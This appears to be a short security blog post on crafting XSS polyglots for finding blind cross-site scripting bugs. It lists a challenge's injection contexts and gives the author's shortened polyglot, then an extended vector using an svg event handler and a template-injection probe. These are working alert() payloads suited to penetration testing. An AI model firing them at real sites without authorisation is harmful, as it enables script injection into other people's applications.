Using XSS Polyglots For Detecting Blind XSS Vulnerabilities

( < 5 minute read)

Awesome security researcher @filedescriptor (a member of Cure53 who never uses his real name to remain anonymous) ran a XSS challenge in which competitors had to craft a XSS polyglot that works across 16 different contests:

  1. <div>{{payload}}</div>
  2. <div {{payload}}>text</div>
  3. <div class="{{payload}}">text</div>
  4. <div class='{{payload}}'>text</div>
  5. <div class={{payload}}>text</div>
  6. <title>{{payload}}</title>
  7. <textarea>{{payload}}</textarea>
  8. <style>{{payload}}</style>
  9. <script>"{{payload}}"</script>
  10. <script>{{payload}}</script>
  11. <script>"{{payload}}"</script>
  12. <script>'{{payload}}'</script>
  13. <a href="{{payload}}">text</a>
  14. <!-- {{payload}} -->
  15. <script>// {{payload}}</script>
  16. <script>/* \n{{payload}}} \n*/</script>

Among the winners of this challenge I recognized some names such as @orenhafif Facebook Security Engineer who won 1st place, and in 2nd there is @molnar_g Google Security Engineer. It was actually a tie, they both crafted a payload 87 characters long.

I did send a submission but I didn't figure among the top contestants. 6 years later I spent a day trying to see if I could shorten my vector and to my big surprise I managed to make a vector 3 bytes shorter than the winning vectors!

javascript:/*</title></textarea></style --> </script><a/onclick='//"/**/%0aalert()//'>

These polyglots are particularly useful for detecting blind XSS vulnerabilities.

I decided to improve it so that it works in every possible context:

<script>xss</script>
<script>a='
xss'</script>
<script>a="
xss"</script>
<script>a="
xss"</script>
<script>//
xss</script>
<script>/*
xss*/</script>
<a href='
xss'></a>
<title>
xss</title>
<textarea>
xss</textarea>
<style>xss</style>
<div>
xss</div>
<div
xss></div>
<div class='
xss'></div>
<div class="
xss"></div>
<div class=
xss></div>
<noscript>
xss</noscript>
<noembed>
xss</noembed>
<!--
xss -->
<xmp>
xss</xmp>
<math>xss</math>
<frameset>
xss</frameset>

The resulting vector is:

javascript:/*</title></textarea></style --></xmp></script></noembed></noscript></math><svg/onload='//"/**/%0aonmouseover=alert()//'>

You can also add a ${{7*7}} at the very end to test against template injections as well.

Besides for Blind XSS, this vector is also good for optimizing the process of finding regular cross-site scripting vulnerabilities. Instead of having to send 21 requests to each parameter when testing an application, you only have to make 1 request. This gets the job done in approximately only 5% of the time.

Can you make it even shorter? Let me know in the comments or through X (@ruben_v_pina)

 
You can follow me on X to stay updated: @ruben_v_pina